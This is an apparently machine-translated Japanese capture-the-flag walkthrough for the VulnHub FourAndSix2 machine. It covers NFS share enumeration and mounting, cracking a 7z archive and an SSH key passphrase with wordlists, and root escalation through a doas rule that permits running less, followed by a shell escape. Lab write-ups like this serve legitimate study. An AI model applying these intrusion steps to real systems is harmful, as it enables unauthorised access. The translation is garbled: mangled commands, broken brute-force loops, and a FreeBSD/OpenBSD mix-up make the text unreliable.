0x01序文
FORANDSIX2は脆弱なターゲットマシンです。主なタスクは、侵入を通じてターゲットマシンシステムを入力してから権限を増やし、ルートディレクトリのflag.tx情報を読むことです。
forandsix2。ミラーダウンロードアドレス:
https://download.vulnhub.com/fourandsix/fourandsix2.ova
0x02情報収集
1.サバイバルホストのARPスキャン-lをscanします
ターゲットマシンシステムとして192.168.1.9が見つかりました
2。NMAPを使用して、ターゲットマシンをスキャンします
NMAP -A 192.168.1.9
オープンポートとサービスのクエリ:22-SSH、111-RPCBIND、2049-NFS、612-Mountd
0x03脆弱性のエクスプロイト
1.NFS脆弱性エクスプロイトオープンポート2049、NMAP検出がNFSサービスとして表示されます。MetaSploitを使用してスキャンしてディレクトリをマウントします
MSF使用補助/スキャナー/nfs/nfsmountを使用します
MSF Auxiliary(Scanner/NFS/NFSMount)はオプションを表示します
モジュールオプション(補助/スキャナー/nfs/nfsmount):
NameCurrent設定に必要な説明
----------------- ---------------------------------
Protocoludpはい、使用するプロトコル(Accepted: UDP、TCP)
RHOSTSはい、ターゲットアドレス範囲またはCIDR識別子
rport111はいターゲットポート(TCP)
スレッド1はい、同時スレッドの数
MSF Auxiliary(Scanner/NFS/NFSMount)set Rhosts192.168.1.9
Rhosts=192.168.1.9
MSF Auxiliary(Scanner/NFS/NFSMount)実行
[+] 192.168.1.9:111-192.168.1.9 NFS Export:/Home/User/Storage []
[*] 1つのホストのうち1つをスキャンしました(100%完了)
[*]補助モジュールの実行が完了しました
showmount -eを使用してターゲットシステムマウント可能なディレクトリを表示することもできます
ディレクトリ/ホーム/ユーザー/ストレージを見つけました
マウント名でディレクトリをマウントします。
MKDIR /TMP /ストレージ
Mount -T NFS 192.168.1.9:/home/user/storage/tmp/storage
注:MountコマンドをKaliシステムで使用できない場合があります。これは、ファイルが破損しており、更新およびインストールする必要があるためです。
APT-GetインストールNFS-Common
圧縮されたパッケージバックアップを見つけました。7Z、7Z Eバックアップを使用して減圧しようとします。パスワードが必要であることが促されます。
2。Backup.7Zブラスト検索データを使用して、Rarcrackを使用して7Z圧縮パッケージを爆破できることを発見しました。 rarcrackクラッキングコマンドは次のとおりです。
apt-getインストールrarcrack
Rarcrack -Threads 4 -Type 7Z Backup.7z
7Zコマンドを使用して辞書を爆破することもできます
7zクラックスクリプト:
https://raw.githubusercontent.com/exexute/pythonscaffold/pythonscaffold_0.1/enum_violion/file_enum/7z-crack.sh
コマンドコンテンツは次のとおりです。
猫$ 2 |読み取りライン。
使い方:
./7z-crack.shbackup.7z /usr/share/wordlists/rockyou.txt
最後に、7Zクラッキングスクリプトが圧縮されたパッケージパスワードを正常にクラックしました:チョコレート
backup.7zをunzip buckup。
割れたパスワードチョコレートを介して.7zを減圧し、減圧後にその内容を抽出すると、いくつかの写真とRSAキーを見つけることができます。ポート22はターゲットコンピューターでSSHサービスを実行するため、RSAプライベートキーを使用してログインできます。 RSAの公開キーを開いて、ユーザー名を表示します。
だから、私はパブリックキーと秘密鍵を介してサーバーにログインし、秘密キーを /root/.sshディレクトリに配置し、サーバーに接続できると思います
cp id_rsa /root/.ssh
sshuser@192.168.1.9
SSHへのログインを試みましたが、パスワードを要求しました。したがって、正しい秘密キーパスワードを見つけるために、次のスクリプトを作成しました。
root@kali2018:/tmp/storage#cat /usr/share/wordlists/metasploit/adobe_top100_pass.txt | ssh-keygen -c -c 'ssh -keygen -c' 'user@forandsix' -p $ pass -f id_rsa/dev/dev/null;壊す; fi;終わり
ブラストのパスワードは12345678です
または
root@kali2018:/tmp/storage#cat /usr/share/wordlists/rockyou.txt | while read line; ssh -keygen -p $ line -n $ line -f id_rsa 1/dev/null 2/dev/null; echo 'パスワードは:' $ line; break; fi; done;
パスワードを成功させることにより、リモートSSHログイン
0x04許可エンハンスメント
シェルに入った後、現在のシステムがFreeBSD 6.4であることがわかりました。検索後、カーネルに脆弱性を発生させることができることがわかりました。そのため、構成、ファイル、サービスに焦点を当てました。
現在のユーザー許可とシステム情報を表示します
forandsix2 $ id
uid=1000(user)gid=1000(user)groups=1000(user)、0(wheel)
forandsix2 $ uname -A
OpenBSD FORANDSIX2.LOCALDOMAIN 6.4 GENERIC#349 AMD64
Findコマンドを使用して、SUIDセットのあるファイルまたはパッケージを見つけます。
find/-perm -u=s -type f 2/dev/null
Findコマンドを通じて、SUDOコマンドの代替品であるSUID許可でプログラム/USR/BIN/DOAが実行されていることがわかりました。 DOASは、BSDシリーズシステムの下での許可管理ツールであり、Debianシリーズの下のSudoコマンドと同様です。
「doas.conf」ファイルを読んだ後、「少ない」がルートとして実行できることがわかりました。
/etcディレクトリ、doas.confを確認してください
forandsix2 $ cat /etc/doas.conf
root cmd/usr/bin/less args/var/log/authlogとしてnopass keepenvユーザーを許可します
nopass keepenvルートをルートとして許可します
構成ファイルを見て、理解してみましょう。 DOASユーティリティは、DOAS.CONF構成ファイルのルールに従って、他のユーザーとしてコマンドを実行します。
許可/拒否:ルールを許可/拒否します
NOPASS:ユーザーはパスワードを入力する必要はありません
永続:ユーザーが認証に成功した後、パスワード検証を再度要求しないでください。
Keepenv:ユーザーの環境を維持します
CMD:コマンドを実行することを許可します
doas.confファイルから、現在のユーザーは、ルートアクセス許可を備えた/var/log/authlogファイルを表示するためにコマンド以下を使用できることがわかり、現在のユーザーパスワードとルートパスワードは必要ありません。
doas/usr/bin/less/less/var/log/authlogを使用してログファイルを表示し、vを直接押して編集モードに入りますが、読み取り専用にプロンプトします。編集モードに入った後、VIエディターを使用して操作できます。
doas/usr/bin/less/var/log/authlog
システムコマンド、つまり:/bin/shを実行すると、この時点でルートアクセス許可にアップグレードされます。
最後のステップは、ルートディレクトリにあるファルグ情報を取得することです。
クエリの現在のユーザーの許可はIDを介してrootで、cat flag.txtを使用してフラグ情報を表示します。
、
Recommended Comments